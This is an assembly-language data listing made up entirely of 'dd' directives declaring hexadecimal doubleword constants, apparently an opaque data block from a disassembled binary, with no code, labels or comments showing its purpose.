		dd 1A221E1Ah, 1D0F1019h, 17B5110Ch, 2A0BEB24h, 723464E4h
		dd 0A293067h, 8AC42655h, 10392022h, 0FFAC080Ch,	8C4C0CE1h
		dd 1197EC21h, 0DDC8ABCh, 64A2A488h, 0B80432D0h,	89A40892h
		dd 4CFC5C74h, 8EBC18F5h, 10A2A423h, 1468F204h, 1597BC23h
		dd 7C2150A4h, 0D22AAA4h, 3D5D5453h, 9B04447Ch, 45549431h
		dd 438E7CB8h, 108C236Ch, 0AF80CA5Ch, 88324CC4h,	0C3C0D91h
		dd 28438CE8h, 1410EC23h, 0F8C29CC8h, 5C581196h,	0EB848C86h
		dd 803CEF27h, 46883C46h, 3C46E83Ch, 9C2B46ECh, 0E85890F3h
		dd 0DF964CE8h, 4F5384A3h, 686CC8B0h, 54DCE428h,	85BBA2B0h
		dd 3925D011h, 0C8993410h, 0A8AA6F84h, 88DC910Dh, 62E46498h
		dd 18A01984h, 0C8568674h, 946C21DAh, 60880D74h,	64F8E067h
		dd 0CE603250h, 89847AE3h, 814908FCh, 814108DCh,	5FE09E4h
		dd 310808A0h, 29F05420h, 102110DFh, 30946921h, 85A26091h
		dd 70C8F06Fh, 0C0EE04EBh, 3C446845h, 244A5E7h, 2C438E38h
		dd 1C101023h, 32A43CC4h, 59B4190Ch, 9019C2C0h, 42F00D48h
		dd 0C3443F95h, 2C91E421h, 0F864DC88h, 0D11BEDDh, 0C80CA418h
		dd 21344686h, 0E1409FBCh, 24C4B090h, 19A832A4h,	0A019FED8h
		dd 0EF8C980Ch, 438C940Ch, 0A2D41090h, 0CC6488C8h, 0E8198062h
		dd 0C7819FEh, 6C438CFCh, 0B5BBB021h, 0B820F70h,	54044C95h
		dd 0BBC41A5Ch, 460DA213h, 914C2180h, 624088C0h,	3419A42Ch
		dd 0CFF780Ch, 3C468628h, 0AC911821h, 1C620888h,	94FC18A4h
		dd 86507F84h, 0F426F043h, 2510E405h, 9F41CFB5h,	22060111h
		dd 50C3C54h, 0A2B42186h, 821F91Ch, 0ED44A344h, 0E1192C32h
		dd 24A9F80Ch, 0A9180CD5h, 0C52C93Ch, 0CBD1934h,	0B130A940h
		dd 18A9240Ch, 86D80CA5h, 982A9943h, 218D430Ch, 0D4819094h
		dd 7974866Ch, 0F05AA410h, 0FC10C871h, 0B0086944h, 70086144h
		dd 0C4085944h, 80085144h, 0C0094944h, 0A42CD1B8h, 3C78478Ch
		dd 0AC3C463Ch, 0A41C1146h, 2BA35084h, 78917C21h, 947109D2h
		dd 0F450CB9Ch, 918AC811h, 10E2ACC7h, 5586A2DCh,	31DE0D98h
		dd 0FF600C84h, 4686700Ch, 91602114h, 644C886Ch,	19386230h
		dd 244148A8h, 0DA05286h, 0B0921021h, 7005BA74h,	35120D8Bh
		dd 8DBC8310h, 76072640h, 83103886h, 2130C371h, 28101410h
		dd 20056C21h, 0C5C8CB3Bh, 0A0478EA8h, 8843B03Ch, 3155EC80h
		dd 68035361h, 0F35293F4h, 48CCE9D1h, 0E21D24CAh, 688488A6h
		dd 1D89C22Fh, 0FA041F8Bh, 1F208A93h, 0D85F3D74h, 0C8C71C64h
		dd 28244788h, 0D45B865h, 0C164A450h, 0BC52151Fh, 4250E1D8h
		dd 1B8CB2A4h, 43A828DCh, 11E58A93h, 0C8639C14h,	9D986590h
		dd 700D1287h, 0E40C6C31h, 3F58438Ch, 4821C318h,	64A42888h
		dd 91D0323Ch, 7C0C3027h, 0DA27F93h, 14216C46h, 21867FB8h
		dd 0F01292FCh, 44983FD8h, 8A9BA8A2h, 1E63709Fh,	181123E4h
		dd 0D0E228C8h, 0E27C31A2h, 33E26C31h, 0F031A382h, 6494880Bh
		dd 42F02890h, 51DE9492h, 0B831F66Ah, 46C0924Ch,	528478A2h
		dd 9CA24A90h, 230A9819h, 729844A8h, 0A4141884h,	27E2F18Ch
		dd 4356D810h, 44A021A4h, 0FB52387Ch, 0C5439FAh,	0A2679340h
		dd 2138460Dh, 6453B824h, 0D8124021h, 0EC380873h, 54740A67h
		dd 0A821AC43h, 0BE681845h, 91FC8E08h, 8C0C7284h, 0B02FEAF1h
		dd 4286B4B8h, 91EC84B0h, 52907C2Ch, 0A9C818FBh,	0BC37D44Ah
		dd 43200D44h, 9FA821A4h, 9890E15Ch, 88C41CC8h, 7E99B432h
		dd 0BB2808D4h, 0A420887Ah, 0E2295CC4h, 880BB431h, 28B864BCh
		dd 0E8915378h, 0E49E60CAh, 4EF03244h, 0C808F1F0h, 32C4C485h
		dd 10FF3AC0h, 975B5D75h, 0E4A580E5h, 0F6330BACh, 72CA3539h
		dd 7458E875h, 0BCFF7C2Ch, 3CF32584h, 9B105C26h,	273DA84Eh
		dd 128C42BEh, 0A2B7F12h, 9688F6C0h, 70206484h, 21345060h
		dd 3278C464h, 54901501h, 6C3968A2h, 885C210Eh, 4254BDCDh
		dd 0EE708820h, 1944E290h, 0ECC40A99h, 39787295h, 867E0E7Ch
		dd 0B8B26542h, 21804714h, 3210C484h, 84901531h,	8C3988A2h
		dd 9AF8100Eh, 2ABCFD84h, 90118576h, 0DC7194C8h,	6485C90Ch
		dd 8E98281Ch, 0C4889C43h, 712B9564h, 0A0239447h, 0A888C3BBh
		dd 212B6164h, 72A844B4h, 90431CACh, 80592D21h, 90B0230Ah
		dd 62F8E7B4h, 1015BBF9h, 39B8A24Ch, 5C210EBCh, 18ACC590h
		dd 0DFC01185h, 3240C421h, 0E4881591h, 64266893h, 226B320Ch
		dd 25D57539h, 2D681562h, 144686B7h, 9D178654h, 22D31009h
		dd 49A6F6A5h, 0FE3B2581h, 0ED7DE74h, 0EDC6EE24h, 29308676h
		dd 38802871h, 536C028Ah, 63ABE857h, 1F77F055h, 0BADB8559h
		dd 200C9466h, 4AC0E038h, 41C028B9h, 5750C72Bh, 4EE8530Bh
		dd 4300D6D3h, 1E4BC38Bh, 0E80B6AFDh, 91D7C2EEh,	34881094h
		dd 0C47D504h, 2825DC86h, 0F28BC603h, 0E643B5F3h, 0FDCA934h
		dd 0F78B93EBh, 0C00E243Bh, 5BC6F259h, 0CB7CE85Bh, 0D0BC305Dh
		dd 6A568907h, 3017FEE6h, 2AA6B3F8h, 8B4FDD17h, 8E1257F9h
		dd 0C539B8C2h, 0CC15B01h, 0C8E8057Dh, 73EB02FFh, 0B589C933h
		dd 0ADD0288Bh, 148A1600h, 0AFA8031h, 0A056174h,	4704750Dh
		dd 4100DE91h, 0EA7CC83Bh, 57D23318h, 308D2A3Bh,	804F34BDh
		dd 75E0323Ch, 0DABD1976h, 4C8D30BDh, 810E740Ah,	21BDFB4Bh
		dd 890B7D00h, 0C783430Fh, 3B420403h, 0C7DC7CD0h, 5F010CE7h
		dd 80591774h, 0A4508B0Ch, 0BAF128CBh, 0ED45F17Dh, 44613E27h
		dd 886B0824h, 0B95114FDh, 0F3454040h, 78518DABh, 1F7CC885h
		dd 0DF607AB8h, 48A103Bh, 918EBF06h, 46591F10h, 18C04CDFh
		dd 4B811C89h, 7EF70A3Bh, 13EA5BE5h, 0D54CAEC3h,	40643A04h
		dd 610E3CD6h, 0A30B7C59h, 2077F7Ah, 0E883C028h,	0A42C360h
		dd 0CB80790h, 0C4A60FBFh, 0A6ECC221h, 9684C594h, 3A4E8DC1h
		dd 8BDA7B1Eh, 4C97617h,	0E8EFF485h, 9F2B9B96h, 766EE8B2h
		dd 4E144037h, 9D90FE8Bh, 0CC7A7E24h, 7F0D9EB4h,	0C146C502h
		dd 708441Eh, 9DD5F380h,	7EF7836Ch, 0A0086E84h, 0B272161Fh
		dd 0AAF43FB1h, 8DA04F84h, 0CE482BCAh, 27E1832h,	95F803C8h
		dd 2CE4D8D0h, 488D95CDh, 44B54D08h, 19D8D0D5h, 7F558970h
		dd 4DA651F8h, 524D6498h, 0B00575C1h, 86EB4E4Fh,	518BB1Dh
		dd 9FC703D7h, 1E08096h,	0B0285681h, 6A38B3D0h, 68218C5Bh
		dd 0DA5016A1h, 0E1614657h, 64121090h, 1F50CC46h, 80088A80h
		dd 7F301FF9h, 75090A05h, 0EB401F03h, 0E205CF1h,	19348D48h
		dd 0C72D062h, 742E1D81h, 7C2100EBh, 0B2FA4E6h, 0C8BE5056h
		dd 6884B471h, 0D3ED9BACh, 0E0280492h, 611822BDh, 8A465E5Dh
		dd 68C0C9CBh, 4A9CC457h, 4BAAE92Ah, 0D7BBD594h,	0FA1CE595h
		dd 49D4C148h, 0D09B3F7Eh, 0EC0C2513h, 8ACA62FCh, 5F5508B2h
		dd 0E7BF08C9h, 1587B154h, 0E81BA450h, 74EE3B09h, 7DC88B64h
		dd 0B4354393h, 84E80604h, 0D243E028h, 1FB70E89h, 55190F0Eh
		dd 0EB4B44DCh, 7C125DC5h, 0B7D2E604h, 0D3DA6D5Ch, 55F2C854h
		dd 7FF43AC9h, 0C9FA2D1Bh, 49F0F94h, 574BD89Fh, 386C5976h
		dd 0C214B358h, 32DF011Ch, 0E4F3021Dh, 1B7712FEh, 99A2425Dh
		dd 0A4546862h, 6B73DC99h
		dd 0A7B7D89h, 0A8B0364h, 0A1487835h, 0D5D32F30h, 41E8D612h
		dd 0E84C7485h, 24B64EB3h, 0F0C4F02Dh, 0B30A55D2h, 7625791Dh
		dd 7F6D38E0h, 4202DD0Ah, 25DE4034h, 44F3D693h, 0CC361629h
		dd 0F3A4E4E9h, 61BA60D3h, 53D868DDh, 9FB2E88Ah,	5E3EA93h
		dd 6A240486h, 89A51606h, 0E32DF7B9h, 64C61808h,	922C0741h
		dd 71FC9889h, 0C60F7489h, 775242Fh, 15760DAEh, 0B31ED873h
		dd 9C11F3B1h, 849B1D49h, 128CCADEh, 0FDA00EC4h,	0DB486807h
		dd 0B67FEC90h, 0B3432BDh, 1A317C14h, 0B01A0802h, 40B9BAFDh
		dd 4E0FFE93h, 7074AC86h, 505222A4h, 17355144h, 7CEB483Dh
		dd 0B2192104h, 0D3703728h, 5A0E5956h, 8D4F41E5h, 8D85A95Fh
		dd 44F16F94h, 5FA81886h, 86551D57h, 7DD53045h, 454BFFEh
		dd 7194A468h, 45C75640h, 0B8EBB5B4h, 2DD40E37h,	4BAB6604h
		dd 1C521502h, 76FD504Ah, 0FBAFA4C8h, 7AE92D14h,	6B124912h
		dd 0C25BA8Dh, 0BB47240Ah, 219BEC84h, 987AB587h,	4CB59C57h
		dd 0C8B086A2h, 7549F06Eh, 0FAA8A611h, 40080B48h, 0D2BC10B4h
		dd 0AE917F27h, 0ED5BEC11h, 1860C4D2h, 0F4C8C649h, 0C15BB957h
		dd 60BE0880h, 0BD7DC29Ch, 0DFDCE7A0h, 5DF7A89Ah, 5468B068h
		dd 0CEB2BD2h, 59E515AEh, 49E7B490h, 846B4F1Ah, 4C9C6376h
		dd 11E742A0h, 0BF9FBCEBh, 444E242h, 46408CB8h, 8485B549h
		dd 4382A84Dh, 0E82749B8h, 0DE51F434h, 0C765FA1Ch, 0E4E6C228h
		dd 6872B588h, 5269D2BEh, 3BF82A04h, 0F9119A2h, 7EFD331Ch
		dd 250C2CF5h, 0E750D8C3h, 0D100CC2h, 41A625BEh,	74C98500h
		dd 9BD1FF02h, 27881C7Eh, 5B13A5D3h, 7833C64Bh, 0DEDA9A7Fh
		dd 46DEA7F8h, 9D01597h,	0C2BC88Bh, 97840FCFh, 0E932834Dh
		dd 18871232h, 23677448h, 17556E0Ah, 0FF78CF44h,	0B4286802h
		dd 0DAE18744h, 0DEB0C10h, 0B3F06847h, 7A32DD20h, 0F6CECF4Ah
		dd 2DC411B4h, 6915DE1Fh, 3B100920h, 0D8DF2DF7h,	6256D494h
		dd 74C73B83h, 71B5EB99h, 4F69A1A6h, 0E5B69433h,	0E093289h
		dd 11FC8D03h, 66102B22h, 979DF484h, 0A8590D42h,	6668689Ch
		dd 3E39CC0Bh, 5EF38276h, 0F2B2CA04h, 834702B3h,	3E3B18C3h
		dd 0D21DC157h, 141F883Fh, 10123790h, 89BC8958h,	3122A79Fh
		dd 0E565B3E6h, 99BD1220h, 0F113CEEh, 0F8F3F9B6h, 0A654CCBEh
		dd 90F5F20Ah, 0F089F10Bh, 0F26C2DFCh, 39B34A25h, 37E53B38h
		dd 0FEC04544h, 9F1D7E01h, 0D13A3A58h, 0F70CF3E9h, 2E348DDAh
		dd 0B70F8054h, 0C7033A0Eh, 75492042h, 63EB5FF6h, 85082304h
		dd 5745EC8h, 30A94C2h, 254941C1h, 0E076A53Ah, 0EBF910E9h
		dd 0E8EDEFE7h, 0D0F7EC0Eh, 209E7A99h, 4C120190h, 0A20CBCBBh
		dd 919C5F49h, 753D629Fh, 0A804191Ah, 0B64FF24h,	0B83E13EFh
		dd 33F0B085h, 818BA4DBh, 185D11C9h, 0F07AFA49h,	832806BEh
		dd 7529DD7Dh, 0F3A5175Dh, 0B4AC081Eh, 57B25742h, 7F5DC999h
		dd 0A453F9B0h, 0A1D1BF1Ah, 67FEC088h, 978E78BCh, 909F118Ah
		dd 0EA984FCh, 1C24A2AAh, 7D25AFE3h, 0CFC9A794h,	0A45DBA0Ch
		dd 0D2ABEB65h, 60776AB0h, 0CA53E0F0h, 2D647C60h, 0B80E7A5Ch
		dd 8E6D74DCh, 407E8D45h, 7D1C0ABCh, 0A10B6C8h, 5D0DF1B2h
		dd 0A6267EC0h, 6A6169FFh, 0B1BBC55Ch, 0C475F1FCh, 24DB257Ah
		dd 4A2AB999h, 0C00A40F8h, 0A50FDA7Ch, 0CE3C31CAh, 89106C43h
		dd 0C911AFB1h, 0DDBB189h, 95861518h, 0B89DD045h, 0C0428CE4h
		dd 0CC473EB9h, 0B0895E08h, 660FFCC9h, 594EF561h, 0B9D7ADBDh
		dd 0B27BF29Fh, 0FC66FD97h, 4B22D39Dh, 80E2CD9h,	9E373A75h
		dd 0ACC748B2h, 0F94B1143h, 0B52884B0h, 58B0AB21h, 4F57DDEh
		dd 0A6CCE8A0h, 0D0E444DEh, 11CC428Ch, 0A1DF88EBh, 470CFD88h
		dd 0AE3782E0h, 0A6759C5Dh, 6A3A2A8h, 0CB0E089Dh, 3D54DC9Ch
		dd 0D6283424h, 0B999BDC4h, 1BF7A388h, 3C5242F9h, 36E6BBCCh
		dd 0EE123934h, 64AB6855h, 0B8C9B812h, 4F88C047h, 1782ABB2h
		dd 0CC6BF70Ah, 0F8D88820h, 2443DE75h, 0D483BECCh, 5BE81A7Eh
		dd 75FF9C4Ah, 0D4B940F1h, 0EF359488h, 7C37D492h, 4D676BE6h
		dd 556D603Bh, 5E0B276Ah, 0E8C38E74h, 4B5D422Dh,	2BD43E61h
		dd 14897EC2h, 53AD5ABBh, 8AA053F9h, 0AFE3D84Bh,	0CEAA4E3Ch
		dd 0A1BCFCAFh, 0AC5AAFD6h, 8268B24Eh, 4FA1EBF2h, 0B4E80838h
		dd 15AF7342h, 3687B3E2h, 3E0BC523h, 78E4AC26h, 16BAE4A1h
		dd 6C123A9Ch, 0C3039BD8h, 0ECA1D67Ah, 880D2842h, 6A5E79E0h
		dd 806FCF6h, 8BB6FBE8h,	8D2C169Ah, 2E38144Dh, 35636B51h
		dd 0BC555EE8h, 0F209A33Bh, 7D94A9A1h, 2E098B6h,	0CEE47F82h
		dd 0D98958B6h, 0C4845CB2h, 0BD39FF27h, 0B75B4578h, 680C09FBh
		dd 88239864h, 0BB14E1AEh, 1C747884h, 833C4AFh, 0C656F19h
		dd 0FF881425h, 0B794A467h, 0E595C2CEh, 7FC6311Ah, 74D5E305h
		dd 0C87328Ch, 5DFE0929h, 0D240911Ah, 291F0BBh, 8012F525h
		dd 0AEA2D948h, 0BFEF4494h, 311652BFh, 0E4359A56h, 86FCDC4Ch
		dd 9B840F16h, 0FC7DCBA4h, 592B5A75h, 0DE03A1Ch,	0D7418C2h
		dd 0F87D8116h, 0F3E10EDh, 8409D45Ah, 0EBD96103h, 65FEB39Dh
		dd 10AEDC76h, 0A03546Ch, 3B405474h, 0F072C817h,	0A27D5550h
		dd 0F47D1425h, 182128B9h, 68907E23h, 336D74C5h,	30105317h
		dd 6851A724h, 2727F36Ah, 5C5F52E9h, 0AF82A940h,	3A4AF468h
		dd 7E821F31h, 92E341CDh, 0CA4554ABh, 2E8C3F9h, 0B8683114h
		dd 3859B229h, 9386AADFh, 74688A21h, 1C365923h, 55A98DBCh
		dd 69037888h, 0A79BD288h, 88960176h, 0B410B3CFh, 3F08F5B6h
		dd 0A700ADC5h, 8B5BE445h, 11083D1Ah, 0BAA6D737h, 0C4B1EC7h
		dd 0F025CFA3h, 0EC13847Eh, 0D7FF1EC1h, 0FD982D42h, 6D566519h
		dd 14FC8F88h, 0B2818817h, 432B047Ch, 7CC448FAh,	13F7D7C9h
		dd 8C0D50BDh, 5F5C8611h, 56D484AFh, 0A3ACCC05h,	9A8C21C8h
		dd 69581DBEh, 74BBCB9Eh, 0CF412CCh, 0CC06CDC8h,	8C7DFC55h
		dd 7208C7DBh, 0BBCCA1A2h, 0AC7AAA32h, 0D648BFCAh, 68E301B8h
		dd 0E6BC89DDh, 4FE4929Ch, 0E97F0908h, 0A5DEB329h, 4CB68CA0h
		dd 0B59ED746h, 0A3487EFAh, 0F81699B2h, 853ECE1h, 23CDC4D4h
		dd 0F083B97h, 24B20C7Bh, 905EBA4Ch, 5301EB82h, 907F6468h
		dd 33AB5FA8h, 80FA072Fh, 40F92B4Bh, 0F8A153A6h,	69DC4D90h
		dd 2DACFF4Bh, 8F890CC1h, 67600930h, 27559251h, 1479A6A8h
		dd 100BDC69h, 27758487h, 0DDF829EEh, 0B63811FCh, 0AB5F4B08h
		dd 5936F7h, 69B50724h, 53A9B1DFh, 0EA5CE67Ch, 0F2DCBED2h
		dd 518018BBh, 0F38B1D01h, 0E10BF15h, 6AEF0B80h,	541F423Ch
		dd 0C10F3DC5h, 0F2CCF6F7h, 0F5F0C633h, 0C26D5D7Dh, 89B0E12h
		dd 0EFE1D50h, 0CC2CBE2Ah, 0F34594F9h, 0E7BC3097h, 9856326Ah
		dd 64B04F49h, 939CEC4Fh, 42406A20h, 31C8E10Fh, 8B67A068h
		dd 0FB77E5FAh, 0C72B2265h, 0D71B001Ch, 9CA05256h, 1AA4C89Ch
		dd 77FF8500h, 3B0472D7h, 83D1ECDEh, 6B5E6492h, 36190314h
		dd 0FD16CAh, 58C985F0h,	5725B77h, 50FE830Eh, 4B6AA673h
		dd 229DFD24h, 4410E877h, 428C4247h, 4637223Bh, 112B2132h
		dd 10212326h, 911E881Bh, 420B8819h, 0CDF730Ah, 12B20AEh
		dd 3D11BC6h, 7FD713C3h,	0E884F4B2h, 8AB2507h, 5713FF3Fh
		dd 0C4FC024Bh, 940F89E6h, 1513F622h, 0B867560Ch, 0DAE24E7Ch
		dd 52750401h, 0BC3C9D39h, 22263213h, 0CFF2944h,	68F06728h
		dd 421046B7h, 447F0F02h, 0EC29C892h, 2C70EB8Dh,	750A2E00h
		dd 0E825C809h, 5A605544h
		dd 0E4894575h, 5BA44308h, 33750511h, 0E0212CD0h, 18A2911h
		dd 88DC9012h, 2102C617h, 0A174D444h, 90ED07Dh, 75382F75h
		dd 27745348h, 6CB07C97h, 0D395180Eh, 84B790BEh,	1410A920h
		dd 47255692h, 7CA16647h, 3F786A31h, 0A42F85F8h,	0C7C2FCFDh
		dd 0A1C498A6h, 0C00C59ABh, 12DDC2F4h, 43F3C2FBh, 0A751DB98h
		dd 0F33B275Ah, 0DD47D04Ah, 92BFF55Dh, 2DD18AEAh, 0CD095BF8h
		dd 30D2EF64h, 0AC6DC057h, 1C4C84B7h, 0A8A1C49Eh, 9A80590Ah
		dd 0D95773FBh, 0C95F521Ah, 5D92A062h, 7027FF53h, 67BA7F69h
		dd 621C9A08h, 322E6BD8h, 6A6A61FFh, 0C8DC9F20h,	2BD7A6B2h
		dd 99EE4E93h, 22111028h, 844FE49Dh, 8F40C766h, 9B7509C6h
		dd 0F8202196h, 0B165F08h, 1344606Ah, 0BEF81821h, 0AB551FAh
		dd 0F9982388h, 0C5900449h, 25BFF2BEh, 14B04550h, 919F07ECh
		dd 10FA42FDh, 0D691F463h, 0FFD26AD0h, 0B5F5DF37h, 0C90DEA5h
		dd 4A38C83Ch, 9839327Dh, 2452F72Eh, 0B54211BEh,	0BE14CA12h
		dd 91D0A062h, 0F119BA10h, 29A1A6B5h, 0B64BAC28h, 893AEED9h
		dd 78C8631Eh, 8E7A5081h, 568070FAh, 0F3804EBEh,	0FF74136Eh
		dd 48CD1A8Ch, 0D6DC0AA7h, 600FB53Dh, 28D04A2Bh,	7925971Ch
		dd 0A2681D44h, 138A4FA8h, 44C44F16h, 0F11C8B8h,	0F67AA750h
		dd 740142C0h, 0D73C6812h, 0E8814227h, 1682A6F9h, 61E326EBh
		dd 0EC142577h, 981934BEh, 0D1DFE894h, 5FDF5734h, 696D6ED2h
		dd 0DF4E557Ch, 3EF34E8Fh, 9DAA5993h, 688F85EBh,	0C83CB7F4h
		dd 1C178528h, 5CC55DB9h, 88A4B206h, 0FCA46265h,	49EE5C32h
		dd 902791DDh, 0FBC109F2h, 939E28B8h, 62A18FBh, 0B4C6C7FCh
		dd 15B0B988h, 1BA6DEE8h, 29BF3821h, 0C3BE0ED0h,	0F2D2C222h
		dd 0F92ABEB3h, 61B04512h, 0A4262AEBh, 0B9A2531Dh, 1C2A0F41h
		dd 151EDA4h, 63FCA80Ah,	6D832BEh, 1FE807E0h, 328ADC9h
		dd 903D6A18h, 840FC2A0h, 6157ADDh, 1576CC5Dh, 988C6CFFh
		dd 0E87EC8B7h, 70BE5E21h, 75B70FC1h, 0E61ED051h, 0C7DA9BB2h
		dd 1E8CE0B0h, 0D61AE051h, 1231A7B3h, 0BDE934DCh, 0FD13EA1Dh
		dd 0E5F5AF64h, 1A48CFEDh, 2E49E353h, 27EDC47Bh,	49767A51h
		dd 0A348AFC8h, 886C4A84h, 0F3133B44h, 0F9495D74h, 6CF8D4F8h
		dd 0AB992848h, 9149FE21h, 94636034h, 741FF34Dh,	4403F43Ch
		dd 25A314D3h, 58684381h, 77EB4F24h, 708502Bh, 0FA69C824h
		dd 1E246C26h, 4C8F167h,	0D0F4758Bh, 98681A0Bh, 77CF9884h
		dd 0A4218454h, 0E2D21DFAh, 2CB670E3h, 87BDFE4Ah, 22FAA484h
		dd 0A8A7B130h, 0A4C28C3Bh, 470DFC44h, 1639427Dh, 0D3EC011Fh
		dd 0BFA3CCC4h, 94438A3h, 732861B5h, 3AA245E8h, 51CBF7F7h
		dd 405AA95Dh, 0C4E7A861h, 0EDB8BF4Ah, 0FA3E2EF2h, 21BA1E17h
		dd 6DA8798Ch, 0F40F8F60h, 0F70305DAh, 41EFFE81h, 0EBDF7C72h
		dd 0F1B64742h, 42F66953h, 8C9572Dh, 0C23B449Eh,	0B0AFABD8h
		dd 887317CDh, 27BC7016h, 3811D54Bh, 0B85BC086h,	295C8D6Fh
		dd 0E024A503h, 0C9E7A405h, 3CE35BF6h, 0D438FE5Ah, 5493D256h
		dd 275508E7h, 7C009C3Eh, 337FD6A6h, 96849BA6h, 468D3606h
		dd 35545018h, 0AD4A8C68h, 89ACD3EAh, 67A92AC4h,	0F56CFE04h
		dd 2C0A7B42h, 45AAC681h, 0B6BF7247h, 0E4DD789Ah, 498ABE1Ah
		dd 3452C475h, 0CCCD64BBh, 0A7F4BE1Ch, 13BE1C8h,	8D7F6A12h
		dd 91124483h, 8BB9DD5h,	0DF2B020Ch, 0E37DDE3Bh,	542B795Dh
		dd 2EA3A855h, 1091D20Fh, 5C9C288Bh, 0EBFF4E82h,	83ADA7E8h
		dd 0E8BF303Ah, 15A3C290h, 655A12E6h, 58948ECDh,	338F83B8h
		dd 5088802h, 203D2285h,	39F27C9Bh, 10244C17h, 0B5CC980Ch
		dd 51162D75h, 0BEE264Bh, 0E8041850h, 6FEA0B53h,	85232C22h
		dd 0C35E3C59h, 3E20C4D6h, 0CB41106Ah, 32B40FAFh, 1275CB21h
		dd 53050E21h, 2D540D11h, 7DAD4ADDh, 307E5D6Ah, 77BE03C5h
		dd 0E464580Eh, 35C03C5Ah, 5F0BD233h, 0A8F05539h, 891E3B1Ch
		dd 0B8D6FC9Ch, 750916EDh, 21F4521Eh, 68EC41CFh,	4A3EBA34h
		dd 532B5ADh, 307A7DE8h,	68BD808Eh, 10BD858Bh, 0DF010941h
		dd 0A22AA778h, 8C274CEDh, 9DF80A03h, 6CAC3EF8h,	1E3BE7CCh
		dd 0B052527Dh, 17363C2Bh, 8E22BF19h, 43C9A13h, 0AF751EC2h
		dd 7672B9C4h, 0B72B156h, 9246FB19h, 54A6CCDFh, 68FC40E4h
		dd 0B9D0452h, 7AA181E8h, 5F52986Fh, 2035A075h, 5E1B5652h
		dd 0E821EFB3h, 0C00B4BA1h, 0F24D3B79h, 38D211FCh, 1CFC9DE2h
		dd 0FD259F0Ch, 514AE4B6h, 58BF5B06h, 0BBA8C2B5h, 4C5FC21Ch
		dd 5A68E41Dh, 0A1CAC53Fh, 51B16EFDh, 5C9237CDh,	92BE24Ch
		dd 901C7408h, 0D7A90990h, 0F857D489h, 9A532C65h, 0EB45BC64h
		dd 0EB0C240Ah, 9AF85C53h, 0CA8FC7B2h, 7CBB70ACh, 4E5FA82Fh
		dd 2F049D36h, 0CE95AA04h, 57255792h, 2E38F061h,	28A4920h
		dd 23DE1C8Bh, 33D987C1h, 44EE56C3h, 5C85040Ah, 0F09D9112h
		dd 0E6754F01h, 133B5B5Fh, 6B42A18Eh, 61DB010Bh,	0FBAF6507h
		dd 0B02DB870h, 0E62CC69h, 0A772E8F0h, 7535BF17h, 0F62A5402h
		dd 0BE407F47h, 58CE4328h, 0ACB277E8h, 915714C5h, 351E4455h
		dd 40C26B03h, 654456B7h, 19AEBCD6h, 6A514B1Bh, 8B12A62Dh
		dd 0B15619D8h, 2C7EF957h, 0D58BCBADh, 5EBAC0A9h, 7997D364h
		dd 45F8C599h, 0F3FE3BBAh, 22F02750h, 0F7A07B52h, 19F3C2B4h
		dd 0CCAE1E55h, 1BD2D80Ch, 0EC5013AAh, 0EE0827E3h, 227427ADh
		dd 0DE254C65h, 4079ADB7h, 0B50B516Ch, 0F480A4ECh, 0F1B502EBh
		dd 0B4B842E9h, 12E422F5h, 440A71A8h, 0FE4C316Dh, 0FE925E18h
		dd 0DAB08938h, 0B2D790A8h, 48422FE5h, 0B759D8D7h, 2309EF09h
		dd 0EE4CDD22h, 66FC6802h, 9F44223Dh, 0F87D01FDh, 49571B01h
		dd 4CC43F1Bh, 503AB6BFh, 774D8860h, 0EE4CC438h,	9FB9A21h
		dd 9CD46541h, 0B2D23833h, 0E5662BAh, 83CB68F2h,	0A3C9DDF8h
		dd 0E0C4B890h, 24237F9Eh, 594B36C4h, 2153CCDEh,	6B2168D8h
		dd 0E6646A8Bh, 75EAB523h, 34A172DEh, 4B895A2Dh,	0A5F4999Fh
		dd 7A86F420h, 38157C5Eh, 6CB4C48Dh, 8D77C22h, 49C26938h
		dd 4A205CEFh, 58149582h, 0E807029Eh, 0CFC69B25h, 38A37529h
		dd 45BA7088h, 0C2C5501Bh, 61FCC390h, 73C47646h,	0D3A578FAh
		dd 0E48FAAA9h, 7C0A0412h, 988E04BDh, 895B3476h,	0EB48C462h
		dd 8AB0CBA0h, 9FE1C455h, 0E861C7DBh, 13200A75h,	0E992C5BCh
		dd 9061FAB9h, 40156D0h,	977E0A9Eh, 26E95776h, 913DD272h
		dd 0D4883251h, 740D39F7h, 88647C90h, 0E43CB37Bh, 0F39F6273h
		dd 4ED01A53h, 0B26816D4h, 0C9EBD212h, 0C7442F5Bh, 43C92085h
		dd 8E880A6h, 8B89A521h,	5D81FD4Dh, 17FE200Dh, 2984F559h
		dd 210D285Fh, 1920F9FCh, 4D5C4164h, 0FEA4F304h,	2F76D58Ch
		dd 777153CDh, 7723F64Dh, 8E4E92Fh, 96D9FA97h, 0EF6434FFh
		dd 0A65F67DBh, 30546232h, 8D627BCh, 2D9035B2h, 8B9B282Eh
		dd 4D3A4FCh, 7CE91221h,	0A3EAB44Bh, 0AFAE7E2Ch,	48040EC9h
		dd 84BC1821h, 2940604Dh, 0E93B1256h, 56C27735h,	74AA4330h
		dd 0C14B4B9Ch, 69AC709h, 0D87AD93Ch, 0FB1059DCh, 97487F9Eh
		dd 0DA76136Bh, 5BB2DE3Fh, 56207FC2h, 26804492h,	0BBEC68ACh
		dd 884CC2D1h, 24E9895Eh, 7EC5519h, 0EFB8E538h, 0D8240874h
		dd 75F2C8AAh, 688B184Ch, 42CB916Fh, 0E21B4477h,	0E1EE70E9h
		dd 5FECCEC2h, 0A26CE439h, 16BF21CEh, 0E0D6B0E8h, 0C7743B0Bh
		dd 5B8E0349h, 84F5B0B4h, 9C14E817h, 2F0C1A98h, 8642D8F7h
		dd 9D9DC6DDh, 0E090CD51h
		dd 46E6F5CBh, 2DAA31D3h, 0B51418D1h, 0CE7D88A2h, 56ABC2FCh
		dd 76E20199h, 4C571E11h, 552F111Ch, 3B3DBF4h, 0AC8C0FC3h
		dd 0FC6B0A85h, 37A1110Bh, 8593EC29h, 0B8815B66h, 6C5E4488h
		dd 0DADA558Ah, 2627E890h, 0C4365E08h, 0CB6AF820h, 50EEDEBCh
		dd 6088FC04h, 0D02C84BBh, 0E7682C9Ah, 2092B01Ch, 4C559875h
		dd 7310F19Ah, 26565167h, 0CF72218h, 4D98FE3Bh, 0EFEC074Fh
		dd 0D8C364A4h, 0C8B8A861h, 0E724985Ch, 6834BE73h, 4F52A7D1h
		dd 0BD8453F5h, 167B1F72h, 0F522F6D8h, 4241BC18h, 11CE5A03h
		dd 0E820F66Ch, 0A6A2AF2Ch, 120A40F9h, 17BE5EDBh, 3C657189h
		dd 0B4E92FFDh, 856C5CE2h, 0D30732D1h, 0D41E61EFh, 0B3667E99h
